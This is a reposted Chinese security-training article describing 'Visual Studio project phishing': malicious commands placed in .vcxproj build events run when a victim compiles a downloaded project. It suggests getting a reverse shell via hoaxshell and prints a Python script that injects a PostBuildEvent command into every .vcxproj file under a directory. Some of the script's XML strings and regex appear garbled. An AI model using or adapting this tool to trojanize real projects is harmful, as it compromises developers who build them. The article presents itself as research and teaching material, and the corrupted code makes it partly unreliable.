本文由掌控安全学院-camer投稿
0x01 漏洞成因
漏洞的形成主要是因为Visual Studio的项目文件(vcxproj)是基于XML格式的,XML文件本身并不包含可执行代码。然而,Visual Studio的XML解析器允许在项目文件中包含一些自定义的命令,这些命令可以在构建项目时被执行。
0x02 漏洞复现
正常情况下使用Visual Studio去编译github上下载的项目
通过修改Visual Studio的项目文件(vcxproj)植入恶意命令
当项目被下载编译时机会执行命令
0x03 漏洞利用
可以直接反弹shell,通过hoaxshell直接生成powershell,并开启监听
将代码插入Visual Studio的项目文件(vcxproj)的XML标签中
直接编译,终端反弹shell
漏洞利用脚本:
import
argparse
import
os
import
re
# 解析命令行参数
parser
=
argparse
.
ArgumentParser
(
description
=
'Insert PostBuildEvent node into .vcxproj files.'
)
parser
.
add_argument
(
'-d'
,
'--directory'
,
metavar
=
'directory'
,
type
=
str
,
default
=
'.'
,
help
=
'the directory to search for .vcxproj files'
)
parser
.
add_argument
(
'-c'
,
'--command'
,
metavar
=
'command'
,
type
=
str
,
default
=
'calc.exe'
,
help
=
'the command to be executed in the PostBuildEvent node'
)
args
=
parser
.
parse_args
()
# 定义正则表达式,用于匹配.vcxproj文件中的标签
property_group_pattern
=
re
.
compile
(
r
's*'
)
# 定义插入的节点内容
post_build_event_node
=
'nn n {command}n nn'
.
format
(
command
=
args
.
command
)
# 遍历指定目录下的所有文件和子目录
for
root
,
dirs
,
files
in
os
.
walk
(
args
.
directory
):
# 遍历当前目录下的所有文件
for
file
in
files
:
# 如果文件扩展名是.vcxproj,则进行处理
if
file
.
endswith
(
'.vcxproj'
):
file_path
=
os
.
path
.
join
(
root
,
file
)
# 打开文件,读取全部内容
with
open
(
file_path
,
'r'
,
encoding
=
'utf-8'
)
as
f
:
content
=
f
.
read
()
# 在标签后插入节点
new_content
=
property_group_pattern
.
sub
(
post_build_event_node
+
'\g'
,
content
)
# 如果文件内容有变化,则写回文件
if
new_content
!=
content
:
with
open
(
file_path
,
'w'
,
encoding
=
'utf-8'
)
as
f
:
f
.
write
(
new_content
)
申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,
原文始发于微信公众号(掌控安全EDU):Visual Studio项目钓鱼
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论